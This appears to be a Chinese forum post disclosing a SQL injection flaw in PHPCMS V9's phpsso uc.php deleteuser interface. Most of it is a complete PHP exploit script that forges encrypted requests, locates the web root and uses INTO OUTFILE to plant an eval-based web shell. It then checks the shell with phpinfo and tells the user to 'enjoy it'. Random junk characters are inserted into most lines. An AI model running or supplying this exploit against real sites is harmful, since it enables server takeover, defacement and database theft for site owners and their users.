PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。9 `' X1 O1 B3 x1 ?
0 }* O- |4 o$ {' _+ \: z* ^所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 M @! N+ |( z" |/ }7 G6 U W3 Z8 K: Z" U
漏洞分析:! W5 {% ^+ |( e0 A" D
1.未启用ucenter服务的情况下uc_key为空3 i9 @8 p! n# M) X' i: w4 X$ Y
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
# v6 f4 x' t5 P3 j* U1 w2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。! Q2 [6 `5 o: X, h
public function deleteuser($get,$post) {0 o; C. J3 u0 f# D
pc_base::load_app_func('global', 'admin');
4 m$ M, \' }+ ^ pc_base::load_app_class('messagequeue', 'admin' , 0);3 H- J0 A% c, g
$ids = new_stripslashes($get['ids']);
+ Y3 t0 d7 v5 n $s = $this->member_db->select("ucuserid in ($ids)", "uid");) Y2 i/ i! Z" I2 W
SQL语句为6 H9 F5 e9 h- g( z0 X
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)6 D4 [6 l6 G; b, |3 c+ f& b* E
8 i: i8 e1 V& h% X, J2 U, f
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell+ K$ v: }0 F7 C, v) o
<?php
" k6 W* X8 m; iprint_r('
4 I3 [$ p. g5 ~; n& r# {6 U7 o---------------------------------------------------------------------------
. g& H0 D" t: V. \, O' x" i/ nPHPcms (v9 or Old Version) uc api sql injection 0day6 _; c0 n/ Y9 @' B4 }( u
by rayh4c#80sec.com7 [ \- ^+ w R3 \0 N; H: j
---------------------------------------------------------------------------3 x/ j* X$ c1 h, T8 g: {
');
6 b) Z# @7 d/ |& L. L6 C& k1 v7 b2 W! q v" c' x
if ($argc<3) {
3 c2 _0 b7 v; }5 _1 k% E print_r('
" a2 j2 e \, c5 h) k---------------------------------------------------------------------------
8 Y y$ g" {6 e7 K; `, eUsage: php '.$argv[0].' host path OPTIONS
, v# P+ D2 K: S4 v7 B: p. ?' Chost: target server (ip/hostname)( D; n% _( e. z4 U
path: path to phpcms
: t$ w) }8 e7 d: t7 E4 l; O; KOptions:
2 [5 K7 {% u2 E1 \: H -p[port]: specify a port other than 80
k* ~+ ?! b* @3 v3 ` -P[ip:port]: specify a proxy6 |( S, ?! C2 O$ x( [0 e- l& L0 @
Example:0 Q3 o: a; c* P) @* i: s
php '.$argv[0].' localhost /
) E2 C! |2 f; a/ t8 _php '.$argv[0].' localhost /phpcms/ -p819 _% Q4 \: a% p' l2 q$ |; `
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
+ c. T( H! a1 ~5 Z. I0 R6 [---------------------------------------------------------------------------
8 W4 a1 ]$ {$ e0 M');2 v/ ^# a3 ^) b1 R9 n: w
die;, a6 u. z. U# _2 q" W Z( E
}
' O1 h& T. k: U F I, F
; N" D9 @2 d. F6 @! ~error_reporting(7);
9 V6 l# j" Y9 b$ _9 _ ~ini_set("max_execution_time",0);# I$ Y3 ^6 I: @1 V( `
ini_set("default_socket_timeout",5);
* d1 E2 v! E" C0 f% j% \1 K( J& X( V6 C! w$ ^; x3 {" _
function quick_dump($string) l/ Z5 W7 K) _8 |, b/ o8 S# A5 B
{
, J- n+ t( _! X% V+ L( h $result='';$exa='';$cont=0;
; c9 {" O f1 e8 {2 B4 e for ($i=0; $i<=strlen($string)-1; $i++); P: @) y, h' [! _" a. ^5 K# A
{/ C+ h5 D' Z7 o! K: }% d
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
" A5 g# X# t i X( S' f {$result.=" .";}& P5 ?! y9 ^ C! h2 [
else
2 R$ y4 A, j+ o {$result.=" ".$string[$i];}1 ~/ h8 M: ?1 \$ k
if (strlen(dechex(ord($string[$i])))==2). T* z+ \0 b8 e
{$exa.=" ".dechex(ord($string[$i]));}2 S0 o% i V- O* j" r, f9 o
else
2 R, q0 [- e V# m: ?% X {$exa.=" 0".dechex(ord($string[$i]));}; ^& P5 N& R1 w- E; r& q/ o
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}! u+ G" r2 |( C6 o% f5 W
}
* I) B- _2 X" {& K* v u$ v( z return $exa."\r\n".$result;2 c( d6 _. b) b) o. @) O0 l) O
}
4 s) w( G# d& X$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
4 r: G- Y6 ~# }
( W9 v* m$ C, ]6 ^# ^function send($packet)6 d! a) i$ q2 s+ I; W6 E
{) @( O5 x8 ^4 U$ t/ ^. ^$ m
global $proxy, $host, $port, $html, $proxy_regex;
' N- H6 f* k, ~! n) W9 `; J: F! ^% Z if ($proxy=='') {4 N `6 ~' [( k/ d$ }
$ock=fsockopen(gethostbyname($host),$port);
0 \) V+ ? U8 k& b4 d" T if (!$ock) {
0 Y! _9 f# G9 ?) p1 o echo 'No response from '.$host.':'.$port; die;
- Y; R6 m8 q N6 T3 {% @, _ } C+ x5 M% p5 v, R; e4 E+ F$ v
}" s) H c. ~3 f# |
else {
: D0 h1 o( Z" S9 h' B# z $c = preg_match($proxy_regex,$proxy);- ^/ z" b0 ]6 s# E8 P) _
if (!$c) {$ b; A% m5 B' h" R" G. L8 }
echo 'Not a valid proxy...';die;
+ n* c; v. v- C" _7 N/ ? }
5 N; p8 j$ S" v- t $parts=explode(':',$proxy);
2 ~( W0 c% r3 y7 p $parts[1]=(int)$parts[1];3 ^! B; Z) n. t/ X8 {- S
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
' o0 K7 h% c1 J1 _/ v& r$ g $ock=fsockopen($parts[0],$parts[1]);
) B5 g) A5 x$ I1 Y- p if (!$ock) {
6 R' H! |, V+ z/ t3 h echo 'No response from proxy...';die;
' H3 F/ r6 Q6 r- ? I }! ~! g3 W8 f" t
}
) ?4 ^5 o. Y9 v w: U+ _2 {8 d" n" S fputs($ock,$packet);: _' S* Q; r! W2 }6 t1 K
if ($proxy=='') {
: p+ F9 q' [0 m' P. p5 l1 f $html='';% W: @" `% r6 q8 W+ ^. _) o) I1 x
while (!feof($ock)) {; o" d r1 c5 ^- Q. d, `; ?
$html.=fgets($ock);
# J* g* |2 R) X8 ^! d }: T: e) d* j2 h0 O' e
}
! n7 U5 e+ U& Y& m& G else {
) M& k; s* C8 R; z/ I$ u $html='';
9 Q0 r l' H4 s" f& M4 Z while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
, z/ }1 p$ O- r3 _9 \ $html.=fread($ock,1);
6 ^7 O9 |5 S3 W3 P6 [+ N. W9 P }
, e4 s; q: y* v, T' z }, f' N. K Q, P1 t) h
fclose($ock);
) q" B$ O( ]7 o$ L3 R1 Q3 G}. o3 N5 _ [' O* k
2 N5 h. T, U% I4 h1 i8 e$ R2 o* `+ _$host=$argv[1];. Q- e& {5 t3 h1 l N
$path=$argv[2];
2 t1 ?' a$ }3 ~- x# m0 ^$port=80;8 Q* I9 \7 L$ `) z( A9 S R9 }
$proxy="";. k% c6 ?/ M' g- y" u
for ($i=3; $i<$argc; $i++){
) B5 ^ H/ U1 S# z0 x% p$temp=$argv[$i][0].$argv[$i][1];
; O0 M/ y9 u3 ~: ]if ($temp=="-p")- Q: o: s: r% `% a: [+ R
{
% v& e2 \' Q8 }, z $port=(int)str_replace("-p","",$argv[$i]);
3 p1 c; j0 P" w3 G, `}
! [$ M& J; q9 n& gif ($temp=="-P")
9 B+ b. i5 v+ t Z5 S$ W2 ^{
2 y, G2 V# R( A $proxy=str_replace("-P","",$argv[$i]);
! B. i: r u$ Z5 ? W9 H}
/ x/ U4 n0 V/ i& G: D1 k}
/ _* c' P: F h, g) J! f( L! X8 t! i) M3 _: @( C0 e
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}0 t a/ N7 u% C: n( d# ^" B
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
* F, ]) X! s2 Z1 W8 j5 w+ D2 h& p) R- k6 H. F
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 n- x: m5 L3 Q0 Y
6 X) S! G% h% j# v $ckey_length = 4;3 T6 u9 N7 Z/ L; d
4 u& ?, L8 S) J. `* c% F
$key = md5($key ? $key : '');
! C9 {4 p) E7 D9 y w $keya = md5(substr($key, 0, 16));8 } W. R$ X! h- w- K
$keyb = md5(substr($key, 16, 16));
. \3 x; X) S v7 b' F3 D $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
( l: E; }0 o; {5 A1 u9 ?7 Q4 e0 y# [# c0 p0 J' N
$cryptkey = $keya.md5($keya.$keyc);
/ X8 q6 K% d2 R $key_length = strlen($cryptkey);7 [2 {2 t& P" X6 ^" Y4 \. X
4 s- `+ a+ |0 N/ w8 {' z, A% Q; O) v
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;) o* ^7 D( v. v9 k& @/ A- ~
$string_length = strlen($string);
7 a0 L% l+ j+ b. O1 U# I
. ?! U; v, `8 x1 _" @% b7 J5 w $result = '';
1 s& e/ V! S1 ^1 k" |) Y* q [ $box = range(0, 255);
7 U; {6 N5 l; F0 W" m: o
) q% B: ~7 T( o$ z% E $rndkey = array();
: H$ x) i6 w& {+ R- s2 E for($i = 0; $i <= 255; $i++) {: g5 U! F& E5 c' W
$rndkey[$i] = ord($cryptkey[$i % $key_length]);3 q2 h7 d# X: D4 o, i% v1 f
}
6 Y& r% i# \0 ]7 O- e5 x1 q X0 }; |
for($j = $i = 0; $i < 256; $i++) {
' o/ Z. K. s: U. }0 x, T $j = ($j + $box[$i] + $rndkey[$i]) % 256;
: O+ x! p) l) T; K/ D $tmp = $box[$i];
7 q. j# V* L3 H! w, Z $box[$i] = $box[$j];8 L9 M1 a: m' e9 x( R2 J! ?
$box[$j] = $tmp;: j& w: A+ a: v" X, d, n* d
}6 U9 ~3 f$ y! H
3 p' T4 X% ^( N: K4 ?" i" b
for($a = $j = $i = 0; $i < $string_length; $i++) {+ X3 |. I1 s/ K8 ]9 e0 m) M( J) z1 \
$a = ($a + 1) % 256;, |8 M$ B& g! K1 C
$j = ($j + $box[$a]) % 256;7 [/ j+ V/ {0 M% K6 _
$tmp = $box[$a];4 C$ ?. ^) L. o* E/ v& W
$box[$a] = $box[$j];& d' A9 a6 S" c: o
$box[$j] = $tmp;5 P% V8 S+ J. d; ^; j) C F2 R# U
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));+ V% a: F p* F: t# ]5 C, |# C6 N
}+ u4 F- k g$ w- I" ~; b% P3 v2 W
# ]/ X' `1 z0 ]8 Z if($operation == 'DECODE') {
* x: W* T% W d6 ] if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
4 @2 _# M# A8 G% r5 Z) M! ~. U4 T Q* y9 b return substr($result, 26);0 j4 R' u8 u' _! v
} else {
1 B$ ^2 C& d9 D' \ return '';4 M* Y6 s* n8 n3 P# w1 l
}
# ?7 h$ I6 N2 Z9 p% Z } else {
% x' O2 |0 d1 P1 r) z/ ]: } e! @ return $keyc.str_replace('=', '', base64_encode($result));
5 ?! k. T# F {% I$ ` u }, U% w3 a! c' x, M
" M0 O2 m4 O* R+ s9 a0 ~0 @1 A9 I
}) z/ V( l& i! c
6 p/ |: T3 R4 U7 i1 Q) L, p$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";% c9 e1 [6 D& P* X% w1 ?8 q
$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 r% B1 R# i; j' _! l2 ~( Z" M
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% G- e3 [* k$ Q% I; @
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";. {8 ]4 l, I+ q$ ]- z0 o I& v$ }
$packet.="User-Agent: Mozilla/5.0\r\n";
% ]! P3 V, p4 V! j3 u$packet.="Host: ".$host."\r\n";
2 Y7 |7 _9 n0 D; t, }9 L* ^) l+ C$packet.="Connection: Close\r\n\r\n";* g r" g& E! W4 {
send($packet);
1 L* m' p3 a7 Eif(strpos($html,"MySQL Errno") > 0){5 Z$ t Q% H1 r9 O2 M8 p! }' x
echo "[2] 发现存在SQL注入漏洞"."\n";0 q) f3 O4 U; |$ j
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% D0 P& k" Q6 R' u8 I! p$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
( b$ Z3 N# }; G$packet.="User-Agent: Mozilla/5.0\r\n";
/ W( T, o0 c: I2 h$packet.="Host: ".$host."\r\n";
# v, d, u% Q! \% B/ C$packet.="Connection: Close\r\n\r\n";- ?0 {8 x1 _9 V+ M
send($packet);, V2 Y, O2 e4 l" e M
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
8 U+ `: _- c' ]//print_r($matches);
9 @: Z) N9 V i. H4 {if(!empty($matches)){
: Q c, J6 i- ~6 q; z* ~ z: j, hecho "[4] 得到web路径 " . $matches[0]."\n";0 E& j- e+ j' B7 f
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
Q7 F, f/ a5 M4 @; c0 a$SQL = "time=999999999999999999999999&ids=1)";8 w& U T6 r0 L6 ~8 z. x& f
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
! ^: Q Z( C5 P1 c3 ?- h1 {$SQL.="&action=deleteuser";# g1 P' Q- I7 O- g
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ }, j+ V+ |2 jecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
9 S, q1 t3 a; E; U) K$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
c# k+ {2 j) d- u! P$packet.="User-Agent: Mozilla/5.0\r\n";: W! T" ]6 l+ u4 ]% L
$packet.="Host: ".$host."\r\n";+ I$ |' `/ X; M: ^2 ?' A4 S; q+ u
$packet.="Connection: Close\r\n\r\n";
! W' K6 u' k+ S3 n f8 D0 I+ |send($packet);
3 Q7 o8 ^3 K( n {% r) Tif(strpos($html,"Access denied") > 0){$ o8 z x& o6 B* K) v- c/ K0 U
echo "[-] MYSQL权限过低 禁止写入文件 ";
3 j T: j# d. q7 Z7 X, F5 Hdie;$ n: @& k2 L3 \
}
( }4 ^5 X: X1 R. m/ ^7 r4 F6 lecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";1 S6 t1 n2 P! ?0 N+ o- t5 z
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# E+ U' |& y0 |* e$ H; G$packet.="User-Agent: Mozilla/5.0\r\n";
6 Y# D0 X* h0 G+ l5 N6 z- Q$packet.="Host: ".$host."\r\n";2 U; q) ?' B) L; a6 M
$packet.="Connection: Close\r\n\r\n";: L: d( X. ^% K
send($packet);" m( S/ L% ^7 ?$ ]. F1 |/ D
if(strpos($html,"<title>phpinfo()</title>") > 0){" n, l0 e% C3 x5 U- M; m* F ]) m
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
. B2 J I: J4 A1 O6 M8 r3 }}
& r1 L3 e$ l. H! n& s8 ?}else{2 {- C( k6 c: ?
echo "[-]未取到web路径 ";3 F9 l% m0 T! n4 s7 F4 K
}7 S/ W" P/ f+ b2 H: w
}else{0 K2 |* q1 [5 E8 @: W0 v
echo "[*]不存在SQL注入漏洞"."\n";& [5 b% M' j- M; M# r
}& X1 l/ l \0 M: _3 x' \
+ R9 L. r# R% Q+ B$ x
?>
" X3 y( g- v: P A! x* J" J% \ |